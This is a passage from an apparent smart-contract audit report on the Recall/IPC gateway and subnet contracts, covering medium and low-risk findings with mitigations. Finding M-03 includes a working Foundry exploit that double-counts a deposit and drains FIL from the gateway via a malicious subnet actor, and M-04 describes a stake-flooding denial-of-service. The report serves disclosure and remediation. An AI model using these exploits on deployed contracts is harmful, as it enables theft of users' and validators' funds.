        vm.prank(address(subnetActor));
        address(gatewayDiamond).manager().register{value: genesisCircSupply}(genesisCircSupply, collateral);
    }

    function test_ResultMessage_RefundFailsForEOA() public {
        // Get network information
        SubnetID memory networkName = address(gatewayDiamond).getter().getNetworkName();
        SubnetID memory subnetId = networkName.createSubnetId(address(subnetActor));
        
        console.log("Subnet actor registered:", address(subnetActor));
        console.log("EOA address that should receive refund:", user);
        
        // Step 1: Create an original transfer message that would have been sent
        IpcEnvelope memory originalMsg = IpcEnvelope({
            kind: IpcMsgKind.Transfer,
            from: IPCAddress({
                subnetId: networkName,
                rawAddress: FvmAddressHelper.from(user)  // EOA as sender
            }),
            to: IPCAddress({
                subnetId: subnetId,
                rawAddress: FvmAddressHelper.from(address(0x123))  // Random destination
            }),
            value: TEST_AMOUNT,
            message: EMPTY_BYTES,
            localNonce: 0,
            originalNonce: 0
        });
        
        // Step 2: Create a result message that should refund the funds to the EOA
        ResultMsg memory resultMsg = ResultMsg({
            id: CrossMsgHelper.toTracingId(originalMsg),
            outcome: OutcomeType.SystemErr,
            ret: bytes("Test error")
        });
        
        // Step 3: Create the result envelope
        IpcEnvelope[] memory msgs = new IpcEnvelope[](1);
        msgs[0] = IpcEnvelope({
            kind: IpcMsgKind.Result,
            from: originalMsg.to,           // From the destination of original msg
            to: originalMsg.from,           // To the sender of original msg (the EOA)
            value: TEST_AMOUNT,             // Refund the original value
            message: abi.encode(resultMsg),
            localNonce: 0,
            originalNonce: 0
        });
        
        // Step 4: Create a checkpoint with the result message
        BottomUpCheckpoint memory checkpoint = BottomUpCheckpoint({
            subnetID: subnetId,
            blockHeight: 1,
            blockHash: keccak256("result_test"),
            nextConfigurationNumber: 0,
            msgs: msgs,
            activity: ActivityHelper.newCompressedActivityRollup(1, 1, bytes32(uint256(0)))
        });
        
        // Record balances before
        uint256 userBalanceBefore = user.balance;
        uint256 gatewayBalanceBefore = address(gatewayDiamond).balance;
        
        console.log("EOA balance before:", userBalanceBefore);
        console.log("Gateway balance before:", gatewayBalanceBefore);
        
        // Step 5: Commit the checkpoint which should attempt to process the Result message
        vm.prank(address(subnetActor));
        address(gatewayDiamond).checkpointer().commitCheckpoint(checkpoint);
        
        // Record balances after
        uint256 userBalanceAfter = user.balance;
        uint256 gatewayBalanceAfter = address(gatewayDiamond).balance;
        
        console.log("EOA balance after:", userBalanceAfter);
        console.log("Gateway balance after:", gatewayBalanceAfter);
        
        // Verify the refund failed - user's balance should not increase
        assertEq(userBalanceAfter, userBalanceBefore, "EOA balance should not change");
        
        // The gateway should still have the funds (they never left)
        assertEq(gatewayBalanceAfter, gatewayBalanceBefore, "Gateway balance should not change");
        
        console.log("The refund failed as expected: funds are still in the gateway and did not reach the EOA");
    }
} 

Recommended mitigation steps

To fix this issue, add a code path that handles refunds to EOAs.

Recall confirmed

---

[M-03] Missing value validation in cross message handler allows unbacked fund transfer

Submitted by 0xastronatey, also found by sin1st3r__

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/gateway/GatewayManagerFacet.sol#L32-L63

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/lib/AssetHelper.sol#L44-L66

Finding description and impact

The GatewayManagerFacet.register function does not properly validate the total Filecoin (FIL) value provided when registering a new subnet. It accepts two separate parameters – genesisCircSupply (genesis circulating supply) and collateral – and credits both to the new subnet independently against the same deposit. In the code, the subnet’s circulating supply and stake collateral are set separately without any check that their sum equals the FIL sent or available.

In GatewayManagerFacet.register(), there are two separate lock calls:

if (genesisCircSupply > 0) {
    SubnetActorGetterFacet(msg.sender).supplySource().lock(genesisCircSupply);
}
if (collateral > 0) {
    SubnetActorGetterFacet(msg.sender).collateralSource().lock(collateral);
}

The AssetHelper.lock() function for native assets only checks msg.value against the individual value being locked:

if (asset.kind != AssetKind.Native) {
    // ERC20 handling
} else {
    require(msg.value >= value, "Insufficient funds");
    return value;
}

The critical issue here is that there’s no aggregate check to ensure msg.value covers both genesisCircSupply and collateral. Each lock call independently checks against the same msg.value, allowing the same funds to be counted twice.

This flaw breaks a critical invariant of the bridging protocol “the total supply of a subnet must match the total funds locked for that subnet in the gateway”.

This means a malicious actor could:

1. Call register with genesisCircSupply = X and collateral = X.
2. Send only X in msg.value.
3. Both lock calls would pass since msg.value >= X for each.
4. The subnet would be registered with X circulating supply and X collateral, despite only X total funds being provided.

Proof of Concept

To run the POC below, you can paste file into the contracts/test/integration/Test.t.sol path:

// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.23;

import "forge-std/Test.sol";
import {IntegrationTestBase} from "../IntegrationTestBase.sol";
import {SubnetID, Subnet, IPCAddress, Validator, Asset, AssetKind} from "../../contracts/structs/Subnet.sol";
import {IpcEnvelope, ParentFinality, BottomUpCheckpoint} from "../../contracts/structs/CrossNet.sol";
import {FvmAddress} from "../../contracts/structs/FvmAddress.sol";
import {SubnetIDHelper} from "../../contracts/lib/SubnetIDHelper.sol";
import {FvmAddressHelper} from "../../contracts/lib/FvmAddressHelper.sol";
import {CrossMsgHelper} from "../../contracts/lib/CrossMsgHelper.sol";
import {FilAddress} from "fevmate/contracts/utils/FilAddress.sol";
import {GatewayDiamond} from "../../contracts/GatewayDiamond.sol";
import {GatewayManagerFacet} from "../../contracts/gateway/GatewayManagerFacet.sol";
import {GatewayFacetsHelper} from "../helpers/GatewayFacetsHelper.sol";
import {ActivityHelper} from "../helpers/ActivityHelper.sol";

contract MaliciousSubnetActor {
    // This function is expected by GatewayManagerFacet via the SubnetActorGetterFacet
    // interface. It returns a native asset (no token address) so that AssetHelper.transferFunds
    // uses sendValue.
    function collateralSource() external pure returns (Asset memory) {
        return Asset({kind: AssetKind.Native, tokenAddress: address(0)});
    }

    // Accept ETH transfers
    receive() external payable {}

    function supplySource() external pure returns (Asset memory) {
        return Asset({kind: AssetKind.Native, tokenAddress: address(0)});
    }
}

contract GatewayExploitTest is Test, IntegrationTestBase {
    using SubnetIDHelper for SubnetID;
    using CrossMsgHelper for IpcEnvelope;
    using FvmAddressHelper for FvmAddress;
    using GatewayFacetsHelper for GatewayDiamond;

    function setUp() public override {
        super.setUp();
    }

    function testGatewayDiamond_Exploit_InadequateValidation() public {
        // We prefund the gateway with enough FIL
 
        vm.deal(address(gatewayDiamond), 100 ether);

        // 1. Deploy a mock subnet actor and impersonate it
        address maliciousSubnet = address(new MaliciousSubnetActor());
        vm.startPrank(maliciousSubnet);
        vm.deal(maliciousSubnet, 10 ether);

        // 2. Call register with genesisCircSupply=10, collateral=10
        //    but pass only 10 FIL in msg.value
        gatewayDiamond.manager().register{value: 10 ether}(10 ether, 10 ether);

        // Look up the newly created subnet
        SubnetID memory maliciousSubnetId =
            gatewayDiamond.getter().getNetworkName().createSubnetId(maliciousSubnet);

        (bool found, Subnet memory info) = gatewayDiamond.getter().getSubnet(maliciousSubnetId);
        require(found, "Subnet not found after register");
        require(info.circSupply == 10 ether, "Wrong circSupply recorded");
        require(info.stake == 10 ether, "Wrong stake recorded");

        // The diamond itself only got 10 FIL from this register call
        // but claims it has locked 20 FIL (10 supply + 10 collateral).
        require(address(gatewayDiamond).balance == 10 ether + 100 ether,  // includes our prefund
            "Diamond did not hold the expected total after register"
        );

        vm.stopPrank(); // done with maliciousSubnet

        // 3. Bottom up checkpoint that releases 10 minted tokens
        //    to actor, after committing a new parent finality
        // Because setUp() or another test likely already commits finality
        // at height=1, we do it at height=2 to avoid "ParentFinalityAlreadyCommitted()".
        vm.startPrank(FilAddress.SYSTEM_ACTOR);
        ParentFinality memory parentFinality = ParentFinality({
            height: 2,
            blockHash: bytes32(0)
        });
        gatewayDiamond.topDownFinalizer().commitParentFinality(parentFinality);
        vm.stopPrank();

        // Now the malicious subnet proposes to release 10 minted tokens
        address attacker = address(1111);
        IpcEnvelope[] memory releaseMsgs = new IpcEnvelope[](1);
        releaseMsgs[0] = CrossMsgHelper.createReleaseMsg({
            subnet: maliciousSubnetId,
            signer: maliciousSubnet,
            to: FvmAddressHelper.from(attacker),
            value: 10 ether
        });

        BottomUpCheckpoint memory c = BottomUpCheckpoint({
            subnetID: maliciousSubnetId,
            blockHeight: 100, // arbitrary
            blockHash: keccak256("exploit-demo"),
            nextConfigurationNumber: 1,
            msgs: releaseMsgs,
            activity: ActivityHelper.newCompressedActivityRollup(0, 0, bytes32(0))
        });

        // Child subnet impersonates itself calling commitCheckpoint
        vm.startPrank(maliciousSubnet);
        gatewayDiamond.checkpointer().commitCheckpoint(c);
        vm.stopPrank();

        // The diamond sees circSupply=10, subtracts it -> 0,
        // and transfers 10 FIL to actor. 
        // So the diamond's new balance is (100 + 10) - 10 = 100 ether
        require(address(gatewayDiamond).balance == 100 ether, "Diamond balance mismatch after release");
        require(attacker.balance == 10 ether, "Attacker did not receive the 10 FIL release");

        // 4. Kill the subnet to reclaim stake
        // circSupply=0 => the gateway allows kill() -> tries paying stake=10
        // Now that we prefunded the gateway with 100 FIL, it *can* actually pay it.
        vm.startPrank(maliciousSubnet);
        gatewayDiamond.manager().kill();
        vm.stopPrank();

        // The diamond has now truly lost an extra 10 FIL to the actor,
        // because it believed stake was fully covered.
        // Diamond's final balance is 90.
        require(address(gatewayDiamond).balance == 90 ether, "Diamond still had to pay out the stake; mismatch?");
        (bool stillExists, Subnet memory postKill) = gatewayDiamond.getter().getSubnet(maliciousSubnetId);
        require(!stillExists, "Subnet record should be removed after kill");
        require(postKill.stake == 0, "Stake should be reset to 0 in storage");

    }
} 

Recommended mitigation steps

To fix this issue, the contract should enforce that the FIL value committed covers both the genesis supply and collateral. In practice, this means adding a validation in GatewayManagerFacet.register such a sum check on input values:

Require that genesisCircSupply + collateral does not exceed (and ideally equals) the actual FIL provided by the caller. For example, if the design expects the SubnetActor to send msg.value, use require(msg.value == genesisCircSupply + collateral, "Incorrect deposit").

---

[M-04] Malicious validators can flood stake/unstake requests to DoS confirmChange preventing other validators from claiming their collateral

Submitted by kodyvim, also found by hecker_trieu_tien

Subnets using permissionMode.collateral uses staked collateral to determine validators power. Validators can stake and unstake their collateral.

When a subnet gets bootstrapped (i.e. reached the minActivationCollateral to activate the subnet) validators unstaking requires the request to be recorded which would later be confirmed by submission of checkpoint.

https://github.com/code-423n4/2025-02-recall/blob/main/contracts/contracts/subnet/SubnetActorManagerFacet.sol#L235

function unstake(uint256 amount) external nonReentrant whenNotPaused notKilled {
        ...snipped for brevity..

@>      if (!s.bootstrapped) {
            LibStaking.withdrawWithConfirm(msg.sender, amount);
            s.collateralSource.transferFunds(payable(msg.sender), amount);
        } else {
@>          LibStaking.withdraw(msg.sender, amount);
        }
    }

https://github.com/code-423n4/2025-02-recall/blob/main/contracts/contracts/subnet/SubnetActorCheckpointingFacet.sol#L51

function submitCheckpoint(
        BottomUpCheckpoint calldata checkpoint,
        address[] calldata signatories,
        bytes[] calldata signatures
    ) external whenNotPaused {
        
	...snipped for brevity...

        // confirming the changes in membership in the child
@>      LibStaking.confirmChange(checkpoint.nextConfigurationNumber);

        // Propagate cross messages from checkpoint to other subnets
        IGateway(s.ipcGatewayAddr).propagateAll();
    }

https://github.com/code-423n4/2025-02-recall/blob/main/contracts/contracts/lib/LibStaking.sol#L584

function confirmChange(uint64 configurationNumber) internal {

uint64 start = changeSet.startConfigurationNumber;
 @>     for (uint64 i = start; i <= configurationNumber; ) {//@audit-info 
            StakingChange storage change = changeSet.getChange(i);
            address validator = change.validator;

            if (change.op == StakingOperation.SetMetadata) {
                s.validatorSet.validators[validator].metadata = change.payload;
            } else if (change.op == StakingOperation.SetFederatedPower) {
                (bytes memory metadata, uint256 power) = abi.decode(change.payload, (bytes, uint256));
                s.validatorSet.validators[validator].metadata = metadata;
                s.validatorSet.confirmFederatedPower(validator, power);
            } else {
                uint256 amount = abi.decode(change.payload, (uint256));
                address gateway = s.ipcGatewayAddr;

                if (change.op == StakingOperation.Withdraw) {
                    s.validatorSet.confirmWithdraw(validator, amount);
                    s.releaseQueue.addNewRelease(validator, amount);
                    IGateway(gateway).releaseStake(amount);
                } else if (change.op == StakingOperation.Deposit) {
                    s.validatorSet.confirmDeposit(validator, amount);
                    uint256 msgValue = s.collateralSource.makeAvailable(gateway, amount);
                    IGateway(gateway).addStake{value: msgValue}(amount);
                } else {
                    revert("Unknown staking operation");
                }
            }

            ...snipped for brevity...
    }
}

The issue is that malicious validators can flood stake/unstake request with as little as amount of 1 wei, causing confirmChange to revert with OOG exception during checkpoint preventing other validators from ever claiming their collateral, as no collateral would be released.

Impact

Malicious validators can locked other validators funds post bootstrapped.

Recommended mitigation steps

Consider setting a minimum stake/unstake amount making DoS operation expensive or infeasible.

---

Low Risk and Non-Critical Issues

For this audit, 3 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by K42 received the top score from the judge.

The following wardens also submitted reports: sin1st3r__ and Sparrow.

Summary Table

Finding ID	Title
[L-01]	Input validation improvement in @SubnetActorManagerFacet.preFund()
[L-02]	External calls consolidation for @SubnetActorManagerFacet.leave()
[L-03]	Block hash validation enhancement for @TopDownFinalityQuery rust trait
[L-04]	Error handling enhancement for @FvmWallet.has_key()
[L-05]	O(n) complexity optimization for @LibSubnetActor.rmAddressFromBalanceKey()
[L-06]	Missing event emission in @SubnetActorManagerFacet.preRelease()
[L-07]	Authorization controls for @FvmWallet.set_default()
[L-08]	Network parameter configuration for @EthSubnetManager implementation
[L-09]	Error handling enhancement for malformed signatures in checkpoint verification
[L-10]	Validator set verification enhancement for bottom-up messages
[L-11]	Message timeout controls for @IpcContract.performIpcCall()
[L-12]	State validation enhancement for @GatewayManagerFacet.register()
[L-13]	Return value validation for @AssetHelper.ierc20Transfer()
[L-14]	Error propagation enhancement for @BottomUpCheckpointManager.submit_next_epoch()
[L-15]	Event emission for @IpcContract.dropMessages()
[L-16]	Timeout handling for checkpoint semaphore acquisition

[L-01] Input validation improvement in @SubnetActorManagerFacet.preFund()

preFund in SubnetActorManagerFacet.sol validates that the amount is not zero but does not ensure it matches the value sent with the transaction (msg.value).

Impact

This mismatch enables accounting discrepancies where the recorded preFund amount does not match the actual ETH transferred.

Proof of Concept

function preFund(uint256 amount) external payable {
    if (amount == 0) {
        revert NotEnoughFunds();
    }

    if (s.bootstrapped) {
        revert SubnetAlreadyBootstrapped();
    }

    s.supplySource.lock(amount);

    if (s.genesisBalance[msg.sender] == 0) {
        s.genesisBalanceKeys.push(msg.sender);
    }

    s.genesisBalance[msg.sender] += amount;
    s.genesisCircSupply += amount;
}

There’s no check to ensure amount == msg.value.

Recommended mitigation steps

Include validation to ensure amount equals msg.value:

function preFund(uint256 amount) external payable {
    if (amount == 0) {
        revert NotEnoughFunds();
    }

    if (amount != msg.value) {
        revert AmountMismatch();
    }

    // ... rest of the function
}

[L-02] External calls consolidation for @SubnetActorManagerFacet.leave()

leave() in SubnetActorManagerFacet.sol performs multiple external calls after updating state variables. While it follows the checks-effects-interactions pattern and includes the nonReentrant modifier, the pattern of multiple sequential external calls could be improved.

Impact

While protected by nonReentrant modifier, the code structure provides opportunities for consolidating external calls for better security practices and reduced complexity.

Proof of Concept

// In SubnetActorManagerFacet.sol leave() function
if (!s.bootstrapped) {
    // check if the validator had some initial balance and return it if not bootstrapped
    uint256 genesisBalance = s.genesisBalance[msg.sender];
    if (genesisBalance != 0) {
        delete s.genesisBalance[msg.sender];
        s.genesisCircSupply -= genesisBalance;
        LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
        s.collateralSource.transferFunds(payable(msg.sender), genesisBalance);
    }

    // interaction must be performed after checks and changes
    LibStaking.withdrawWithConfirm(msg.sender, amount);
    s.collateralSource.transferFunds(payable(msg.sender), amount);
    return;
}

Recommended mitigation steps

Refine fund transfers to reduce the number of external calls:

// Calculate total amount to return first
uint256 totalAmount = genesisBalance + amount;
// Perform all state modifications
delete s.genesisBalance[msg.sender];
s.genesisCircSupply -= genesisBalance;
LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
LibStaking.withdrawWithConfirm(msg.sender, amount);
// Then perform a single external call
s.collateralSource.transferFunds(payable(msg.sender), totalAmount);

[L-03] Block hash validation enhancement for @TopDownFinalityQuery rust trait

TopDownFinalityQuery trait in Rust implementation defines methods that handle block hash data but does not enforce validation of the received hashes.

Impact

Without proper validation, there’s a possibility for accepting invalid block references, potentially affecting the integrity of cross-subnet communication.

Proof of Concept

pub trait TopDownFinalityQuery: Send + Sync {
    /// Get the block hash
    async fn get_block_hash(&self, height: ChainEpoch) -> Result<GetBlockHashResult>;
    // ... other methods
}

The implementation might not validate the block hash format or consistency.

Recommended mitigation steps

Include validation requirements in the trait documentation:

pub trait TopDownFinalityQuery: Send + Sync {
    /// Get the block hash
    /// Implementations must validate that the returned hash is correctly formatted
    /// and consistent with the blockchain state.
    async fn get_block_hash(&self, height: ChainEpoch) -> Result<GetBlockHashResult>;
    // ... other methods
}

[L-04] Error handling enhancement for @FvmWallet.has_key()

has_key() in ipc/wallet/src/fvm/wallet.rs silently handles errors by simply returning a boolean, without providing any indication of what went wrong.

Impact

Silent error handling creates debugging challenges and potentially obscures important issues that should be addressed.

Proof of Concept

pub fn has_key(&mut self, addr: &Address) -> bool {
    self.find_key(addr).is_ok()
}

This function handles any error case from find_key by just returning false, with no information about the error.

Recommended mitigation steps

Enhance error handling with context and consistent patterns:

pub fn has_key(&mut self, addr: &Address) -> bool {
    match self.find_key(addr) {
        Ok(_) => true,
        Err(e) => {
            // Log the error for debugging
            tracing::debug!("Key not found for address {}: {}", addr, e);
            false
        }
    }
}

[L-05] O(n) complexity optimization for @LibSubnetActor.rmAddressFromBalanceKey()

rmAddressFromBalanceKey in LibSubnetActor.sol uses an unbounded loop to find and remove an address from the genesis balance keys array. If the array becomes large, this enables high gas costs or even out-of-gas errors.

Impact

Operations that rely on this function may become prohibitively expensive or fail due to gas limits as the number of validators increases.

Proof of Concept

function rmAddressFromBalanceKey(address addr) internal {
    SubnetActorStorage storage s = LibSubnetActorStorage.appStorage();

    uint256 length = s.genesisBalanceKeys.length;
    for (uint256 i; i < length; ) {
        if (s.genesisBalanceKeys[i] == addr) {
            s.genesisBalanceKeys[i] = s.genesisBalanceKeys[length - 1];
            s.genesisBalanceKeys.pop();
            // exit after removing the key
            break;
        }
        unchecked {
            ++i;
        }
    }
}

Recommended mitigation steps

Use a mapping for O(1) removal operations:

// Add a mapping to track indices
mapping(address => uint256) genesisBalanceIndices;

// When adding to genesisBalanceKeys
function addToGenesisBalanceKeys(address addr) internal {
    s.genesisBalanceKeys.push(addr);
    s.genesisBalanceIndices[addr] = s.genesisBalanceKeys.length - 1;
}

// Efficient removal using the index
function rmAddressFromBalanceKey(address addr) internal {
    SubnetActorStorage storage s = LibSubnetActorStorage.appStorage();
    
    uint256 index = s.genesisBalanceIndices[addr];
    uint256 lastIndex = s.genesisBalanceKeys.length - 1;
    
    if (index != lastIndex) {
        address lastAddr = s.genesisBalanceKeys[lastIndex];
        s.genesisBalanceKeys[index] = lastAddr;
        s.genesisBalanceIndices[lastAddr] = index;
    }
    
    s.genesisBalanceKeys.pop();
    delete s.genesisBalanceIndices[addr];
}

[L-06] Missing event emission in @SubnetActorManagerFacet.preRelease()

preRelease in SubnetActorManagerFacet.sol does not emit an event, unlike other similar operations like preFund.

Impact

This creates challenges for tracking fund movements off-chain and reduces debugging or auditability capabilities.

Proof of Concept

function preRelease(uint256 amount) external nonReentrant {
    if (amount == 0) {
        revert NotEnoughFunds();
    }

    if (s.bootstrapped) {
        revert SubnetAlreadyBootstrapped();
    }

    s.supplySource.transferFunds(payable(msg.sender), amount);

    if (s.genesisBalance[msg.sender] < amount) {
        revert NotEnoughBalance();
    }

    s.genesisBalance[msg.sender] -= amount;
    s.genesisCircSupply -= amount;

    if (s.genesisBalance[msg.sender] == 0) {
        LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
    }
}

Recommended mitigation steps

Include an event for the preRelease operation:

event GenesisBalanceReleased(address indexed validator, uint256 amount);

function preRelease(uint256 amount) external nonReentrant {
    // ... existing code
    
    emit GenesisBalanceReleased(msg.sender, amount);
}

[L-07] Authorization controls for @FvmWallet.set_default()

set_default in wallet implementation (ipc/wallet/src/fvm/wallet.rs) doesn’t verify the caller’s authority to change the default key.

Impact

This potentially allows unauthorized setting of default keys if called in a context where proper authentication hasn’t been established.

Proof of Concept

pub fn set_default(&mut self, addr: Address) -> anyhow::Result<()> {
    let addr_string = format!("wallet-{addr}");
    let key_info = self.keystore.get(&addr_string)?;
    if self.keystore.get("default").is_ok() {
        self.keystore.remove("default".to_string())?; 
    }
    self.keystore.put("default".to_string(), key_info)?;
    Ok(())
}

Recommended mitigation steps

Document clearly that this function requires external authentication:

/// Sets a default `KeyInfo` to the wallet
/// SECURITY: This function requires caller authentication by the calling context
pub fn set_default(&mut self, addr: Address) -> anyhow::Result<()> {
    // ... existing implementation
}

[L-08] Network parameter configuration for @EthSubnetManager implementation

Ethers provider in ipc/provider/src/manager/evm/manager.rs is configured with hardcoded polling time of 1 second and transaction receipt retry count of 200. These values are not configurable and might not be suitable for all network conditions.

Impact

The hardcoded values may create inefficient resource usage on fast networks or timeouts on slower networks. This could affect the reliability of cross-subnet communication, especially in networks with varying block times.

Proof of Concept

/// Default polling time used by the Ethers provider to check for pending
/// transactions and events. Default is 7, and for our child subnets we
/// can reduce it to the block time (or potentially less)
const ETH_PROVIDER_POLLING_TIME: Duration = Duration::from_secs(1);
/// Maximum number of retries to fetch a transaction receipt.
/// The number of retries should ensure that for the block time
/// of the network the number of retires considering the polling
/// time above waits enough time to get the transaction receipt.
/// We currently support a low polling time and high number of
/// retries so these numbers accommodate fast subnets with slow
/// roots (like Calibration and mainnet).
const TRANSACTION_RECEIPT_RETRIES: usize = 200;

Recommended mitigation steps

Make polling time and retry count configurable based on the network characteristics:

pub struct ProviderConfig {
    /// Polling time in seconds
    polling_time: u64,
    /// Maximum number of retries for transaction receipts
    receipt_retries: usize,
}

impl Default for ProviderConfig {
    fn default() -> Self {
        Self {
            polling_time: 1,
            receipt_retries: 200,
        }
    }
}

// Use this configuration when creating the provider
let provider = Provider::<Http>::new(url)
    .interval(Duration::from_secs(config.polling_time));

[L-09] Error handling enhancement for malformed signatures in checkpoint verification

Checkpoint signature verification process in Fendermint implementation would benefit from more robust handling of malformed validator signatures. This is particularly important in the cross-subnet messaging security model.

Impact

Malformed signatures could potentially cause the verification process to fail silently or in unexpected ways, reducing the security guarantees of the checkpointing mechanism. This enables invalid checkpoints to be accepted or valid ones to be rejected.

Proof of Concept

// In the checkpoint verification flow, signatures are collected and verified 
// but the error handling could be improved
async fn verify_signature(checkpoint: &BottomUpCheckpoint, signature: &Signature) -> Result<bool> {
    // Basic signature verification with limited error handling
    Ok(verify_cryptographic_signature(checkpoint.hash(), signature)?)
}

Recommended mitigation steps

Enhance error handling in the signature verification process:

async fn verify_signature(
    checkpoint: &BottomUpCheckpoint, 
    signature: &Signature
) -> Result<VerificationResult> {
    // Validate signature format
    if !is_valid_signature_format(signature) {
        return Ok(VerificationResult::Invalid(InvalidReason::MalformedSignature));
    }
    
    // Verify the actual signature with proper error handling
    match verify_cryptographic_signature(checkpoint.hash(), signature) {
        Ok(true) => Ok(VerificationResult::Valid),
        Ok(false) => Ok(VerificationResult::Invalid(InvalidReason::VerificationFailed)),
        Err(e) => {
            // Log the error with details
            tracing::warn!("Signature verification error: {}", e);
            Ok(VerificationResult::Error(e.into()))
        }
    }
}

[L-10] Validator set verification enhancement for bottom-up messages

Bottom-up message processing validation could be enhanced to ensure checkpoint quorum is derived from the correct validator set. This would strengthen protection against potential attacks by ensuring checkpoints are signed by validators that were part of the active set at the relevant block height.

Impact

Enhancing this validation strengthens the security of the cross-subnet messaging system by ensuring checkpoints represent consensus from the actual validator set at the time.

Proof of Concept

// Simplified representation based on the code structure
async fn process_bottom_up_checkpoint(checkpoint: BottomUpCheckpoint) -> Result<()> {
    // Validator set verification could be improved
    let validator_set = get_validator_set(checkpoint.next_configuration_number - 1)?;
    
    // Verify signatures against validator set
    verify_signatures(&checkpoint, validator_set)?;
    
    // Process checkpoint...
    Ok(())
}

Recommended mitigation steps

Enhance the validation process to explicitly verify that the signers were part of the active validator set at the checkpoint height:

async fn process_bottom_up_checkpoint(checkpoint: BottomUpCheckpoint) -> Result<()> {
    // Get the validator set specifically for the checkpoint height
    let validator_set = get_validator_set_at_height(
        checkpoint.block_height, 
        checkpoint.next_configuration_number - 1
    )?;
    
    // Verify each signature is from a validator active at that height
    for signature in checkpoint.signatures {
        if !validator_was_active_at_height(&signature.validator, checkpoint.block_height)? {
            return Err(anyhow!("Signature from inactive validator"));
        }
        verify_signature(&checkpoint, &signature)?;
    }
    
    // Verify quorum calculation uses correct total power from that height
    verify_quorum_threshold(
        checkpoint.signatures_power, 
        validator_set.total_power_at_height(checkpoint.block_height)?,
        REQUIRED_THRESHOLD
    )?;
    
    // Process checkpoint...
    Ok(())
}

[L-11] Message timeout controls for @IpcContract.performIpcCall()

IPC implementation lacks a timeout mechanism for cross-chain messages to handle cases where target subnet becomes unresponsive or experiences significant delays.

Impact

Adding timeouts prevents cross-chain transactions from remaining in a “pending” state indefinitely, which could otherwise lock user funds or leave operations incomplete. This is particularly important in production environments where network reliability cannot be guaranteed across all subnets.

Proof of Concept

// In IpcContract.sol
mapping(bytes32 => IpcEnvelope) public inflightMsgs;

function performIpcCall(
    SubnetID calldata to,
    IPCAddress calldata targetActor,
    bytes calldata method,
    uint256 value
) internal returns (bytes32) {
    IpcEnvelope memory msg = CrossMsgHelper.createCallMsg(
        IPCAddress.build(_toSubnetId(), msg.sender), 
        targetActor, 
        method, 
        value
    );
    
    bytes32 msgCid = msg.toHash();
    inflightMsgs[msgCid] = msg;
    
    // Send message to gateway
    IGateway(gatewayAddr).sendContractXnetMessage(to, msg);
    
    // No timeout mechanism for handling unresponsive target networks
    return msgCid;
}

Recommended mitigation steps

Include a timeout mechanism:

// Add timestamp to inflight messages
mapping(bytes32 => IpcEnvelope) public inflightMsgs;
mapping(bytes32 => uint256) public msgTimestamps;
uint256 public constant MESSAGE_TIMEOUT = 7 days; // Configurable timeout period

function performIpcCall(
    SubnetID calldata to,
    IPCAddress calldata targetActor,
    bytes calldata method,
    uint256 value
) internal returns (bytes32) {
    IpcEnvelope memory msg = CrossMsgHelper.createCallMsg(
        IPCAddress.build(_toSubnetId(), msg.sender), 
        targetActor, 
        method, 
        value
    );
    
    bytes32 msgCid = msg.toHash();
    inflightMsgs[msgCid] = msg;
    msgTimestamps[msgCid] = block.timestamp;
    
    // Send message to gateway
    IGateway(gatewayAddr).sendContractXnetMessage(to, msg);
    
    return msgCid;
}

// Allow reclaiming value from expired messages
function reclaimExpiredMessage(bytes32 msgId) external {
    IpcEnvelope memory msg = inflightMsgs[msgId];
    uint256 timestamp = msgTimestamps[msgId];
    
    require(msg.from.addr == msg.sender, "Not message sender");
    require(block.timestamp > timestamp + MESSAGE_TIMEOUT, "Message not expired");
    
    // Return value to sender
    delete inflightMsgs[msgId];
    delete msgTimestamps[msgId];
    payable(msg.from.addr).transfer(msg.value);
    
    emit MessageExpired(msgId, msg.from.addr, msg.value);
}

[L-12] State validation enhancement for @GatewayManagerFacet.register()

Subnet registration process in Gateway contract lacks enhanced validation to ensure consistency with parent subnet configurations and validate minimum requirements.

Impact

Additional validation helps prevent the creation of subnets with configuration parameters that might create inconsistencies in the IPC hierarchy or fail to meet basic security requirements.

Proof of Concept

function register(uint256 genesisCircSupply, uint256 collateral) external payable {
    if (s.networkName.route.length + 1 >= s.maxTreeDepth) {
        revert MethodNotAllowed(ERR_CHILD_SUBNET_NOT_ALLOWED);
    }

    SubnetID memory subnetId = s.networkName.createSubnetId(msg.sender);

    (bool registered, Subnet storage subnet) = LibGateway.getSubnet(subnetId);
    if (registered) {
        revert AlreadyRegisteredSubnet();
    }

    subnet.id = subnetId;
    subnet.stake = collateral;
    subnet.genesisEpoch = block.number;
    subnet.circSupply = genesisCircSupply;

    s.subnetKeys.add(subnetId.toHash());
    s.totalSubnets += 1;

    if (genesisCircSupply > 0) {
        SubnetActorGetterFacet(msg.sender).supplySource().lock(genesisCircSupply);
    }
    if (collateral > 0) {
        SubnetActorGetterFacet(msg.sender).collateralSource().lock(collateral);
    }
}

Recommended mitigation steps

Include additional validation checks:

function register(uint256 genesisCircSupply, uint256 collateral) external payable {
    if (s.networkName.route.length + 1 >= s.maxTreeDepth) {
        revert MethodNotAllowed(ERR_CHILD_SUBNET_NOT_ALLOWED);
    }

    // Validate collateral meets minimum requirements
    if (collateral < MINIMUM_COLLATERAL_REQUIREMENT) {
        revert InsufficientCollateral(collateral, MINIMUM_COLLATERAL_REQUIREMENT);
    }

    SubnetID memory subnetId = s.networkName.createSubnetId(msg.sender);

    (bool registered, Subnet storage subnet) = LibGateway.getSubnet(subnetId);
    if (registered) {
        revert AlreadyRegisteredSubnet();
    }

    // Validate subnet actor is properly initialized
    if (!Address.isContract(msg.sender)) {
        revert InvalidSubnetActor();
    }

    subnet.id = subnetId;
    subnet.stake = collateral;
    subnet.genesisEpoch = block.number;
    subnet.circSupply = genesisCircSupply;

    s.subnetKeys.add(subnetId.toHash());
    s.totalSubnets += 1;

    if (genesisCircSupply > 0) {
        SubnetActorGetterFacet(msg.sender).supplySource().lock(genesisCircSupply);
    }
    if (collateral > 0) {
        SubnetActorGetterFacet(msg.sender).collateralSource().lock(collateral);
    }
    
    emit SubnetRegistered(subnetId, msg.sender, genesisCircSupply, collateral);
}

[L-13] Return value validation for @AssetHelper.ierc20Transfer()

ierc20Transfer function in AssetHelper library returns success status and return data from low-level ERC20 calls without consistent checking of these return values across all callers.

Impact

